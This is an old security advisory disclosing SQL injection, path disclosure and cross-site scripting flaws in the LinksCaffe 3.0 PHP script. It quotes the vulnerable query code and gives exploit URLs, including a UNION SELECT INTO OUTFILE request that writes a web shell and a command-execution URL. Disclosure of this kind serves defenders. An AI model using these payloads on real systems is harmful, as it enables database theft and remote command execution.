[UNIX] LinksCaffe SQL Injection Vulnerabilities
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 26 Jul 2006 14:59:38 +0200
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LinksCaffe SQL Injection Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://gonafish.com/index.php?id=1> LinksCaffePRO is "a MySQL database
driven link indexing script written in PHP 4. Using the admin script you
have full control to add/modify/remove any link(s) or categorie(s)".
Multiple security vulnerabilities in LinksCaffe allow remote attackers to
cause the server to execute arbitrary SQL statements.
DETAILS
Vulnerable Systems:
* LinksCaffe version 3.0
Vulnerable code in line 223 in links.php code:
$rime = mysql_query("SELECT * from links WHERE link_val like 'yes' AND
cat_id LIKE '$cat' ORDER BY hits DESC, link_pop DESC, rate DESC LIMIT
$offset, $limit") or die(mysql_error());
$offset and $limit vars are not sanitized before to be used to conduct SQL
injection attacks
Exploit:
http://localhost/linkscaffe/links.php?cat=1&offset=[SQL]
http://localhost/linkscaffe/links.php?cat=1&limit=[SQL]
Vulnerable code in line 516 in links.php code:
if (!$newdays)
{
$newdays=$daysnew;
}
else
{
$newdays=$newdays;
}
$rime1 = mysql_query("SELECT COUNT(*) from links WHERE (to_days(NOW()) -
to_days(links.date)) <= $newdays AND link_val = 'yes'") or
die(mysql_error());
Exploit:
http://localhost/linkscaffe/links.php?action=new&newdays=[SQL]
Vulnerable code in line 516 in links.php code:
if ($action=="deadlink")
{
........
$rime = mysql_query("SELECT * from links WHERE link_id=$link_id") or
die(mysql_error());
while($row = mysql_fetch_array($rime)) {
extract($row);
echo "<li><font class=text10><a href='$link_url'
target='_blank'>$link_name</a><br>$link_desc<br></font></li>";
echo "<input type = 'hidden' name = 'link_id' value='$link_id'><input
type = 'hidden' name = 'cat_id' value='$cat_id'><input type = 'hidden'
name = 'link_name' value='$link_name'>
<input type = 'hidden' name = 'link_url' value='$link_url'><input type =
'hidden' name = 'link_desc' value='$link_desc'><input type = 'hidden' name
= 'link_email' value='$link_email'><br><input type = 'submit' value =
'Dead Link'>";
}
$link_id var are not sanitized before to be used to conduct SQL injection
attacks
Exploit:
http://localhost/linkscaffe/links.php?action=deadlink&link_id=[SQL]
Path disclosure:
Exploit:
http://localhost/linkscaffe/links.php?action=new&newdays=-1+UNION+SELECT+123456/*
Result:
Warning: Supplied argument is not a valid MySQL result resource in
/usr/home/simo64/linkscaffe/links.php on line 540
Warning: Supplied argument is not a valid MySQL result resource in
/usr/home/simo64/linkscaffe/links.php on line 549
Warning: Supplied argument is not a valid MySQL result resource in
/usr/home/simo64/linkscaffe/links.php on line 554
Command execution:
If magic_quote_gpc == OFF we can create a shell in writable folder using
(3).
Exploit:
http://localhost/linkscaffe/links.php?action=deadlink&link_id=-1+UNION+SELECT+0, 0,0,0,'', 0,0,0,0,0,0,0,0,0,0 INTO%20OUTFILE%20'/usr/home/simo64/linkscaffe/pipo.php'/*
After we can exec cmds by accessing:
http://localhost/linkscaffe/pipo.php?cmd=ls;id
Cross Site Scripting:
1) $tablewidth var in counter.php is not sanitized before to be used to
conduct XSS attacks
2) $newdays var in links.php is not sanitized before to be used to conduct
XSS attacks
3) $tableborder, $menucolor, $textcolor, $bodycolor vars in links.php are
not sanitized before to be used to conduct XSS attacks
Exploit:
http://localhost/linkscaffe/counter.php?tablewidth='%3E[XSS]
http://localhost/linkscaffe/links.php?action=new&newdays=[XSS]
http://localhost/linkscaffe/menu.inc.php?tableborder='%3E[XSS]
http://localhost/linkscaffe/menu.inc.php?menucolor='%3E[XSS]
http://localhost/linkscaffe/menu.inc.php?textcolor='%3E[XSS]
http://localhost/linkscaffe/menu.inc.php?bodycolor='%3E[XSS]
ADDITIONAL INFORMATION
The information has been provided by <mailto:simo64@xxxxxxxxx> simo64.
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